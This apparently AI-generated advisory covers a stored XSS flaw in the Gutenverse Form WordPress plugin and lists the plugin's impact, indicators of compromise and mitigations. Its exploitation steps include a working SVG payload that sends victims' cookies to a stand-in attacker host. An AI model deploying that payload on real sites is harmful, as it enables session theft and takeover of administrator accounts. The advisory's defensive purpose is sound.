CVE-2025-14984: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-14984 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse Form plugin for WordPress, exploitable via malicious SVG file uploads. It affects all versions of the plugin up to and including 2.3.2. The vulnerability was disclosed on January 8, 2026, and was reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence).

Technical details

The root cause (CWE-79) lies in the plugin's framework component, which adds SVG to WordPress's allowed MIME types via the upload_mimes filter without performing any sanitization of SVG file contents. Because SVG files can embed arbitrary JavaScript, an authenticated attacker with Author-level access or higher can upload a crafted SVG file containing malicious script. When any user (including administrators) views the uploaded file in a browser, the embedded JavaScript executes in their browser context. The vulnerable code is located in lib/framework/includes/class-init.php at lines 169 and 837 of version 2.3.2 (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who view the malicious SVG file, including site administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions, defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its users (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14984 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Gutenverse Form plugin version 2.3.2 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible WordPress installations.
  2. Obtain Author-level access: Register or compromise an account with at least Author-level privileges on the target WordPress site.
  3. Craft malicious SVG: Create an SVG file containing embedded JavaScript, for example:
<svg xmlns="http://www.w3.org/2000/svg" onload="document.location='https://attacker.com/steal?c='+document.cookie">
  <circle r="50" cx="50" cy="50" fill="red"/>
</svg>
  1. Upload the SVG: Use the WordPress media upload functionality (permitted by the plugin's upload_mimes filter modification) to upload the crafted SVG file to the target site.
  2. Deliver the payload: Share or embed a link to the uploaded SVG file, or wait for administrators or other users to browse the media library. When the file is viewed directly in a browser, the embedded JavaScript executes in the victim's browser context, enabling session hijacking or other malicious actions (Wordfence).

Indicators of compromise

  • File System: Presence of SVG files in the WordPress uploads directory (/wp-content/uploads/) containing JavaScript event handlers (e.g., onload, onclick) or <script> tags.
  • Logs: WordPress access logs showing POST requests to /wp-admin/async-upload.php or similar media upload endpoints with .svg file uploads from Author-level accounts.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after accessing the WordPress media library or pages embedding SVG files; potential exfiltration of cookie or session data via query parameters.
  • Logs: WordPress audit logs (if enabled) recording SVG file uploads by non-administrative users.

Mitigation and workarounds

Users should update the Gutenverse Form plugin to a version beyond 2.3.2 that includes SVG sanitization. The patch is available via the WordPress plugin repository changeset that modifies lib/framework/includes/class-init.php to sanitize SVG file contents upon upload (WordPress Trac). As a workaround, site administrators can restrict Author-level and Contributor-level users from uploading files, or use a dedicated SVG sanitization plugin (e.g., Safe SVG) to sanitize all SVG uploads site-wide. Limiting user roles and reviewing existing SVG uploads for malicious content is also recommended.

Community reactions

Wordfence included CVE-2025-14984 in their weekly WordPress vulnerability report for January 5–11, 2026, highlighting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this specific CVE.

Additional resources


Source: This report was generated using AI

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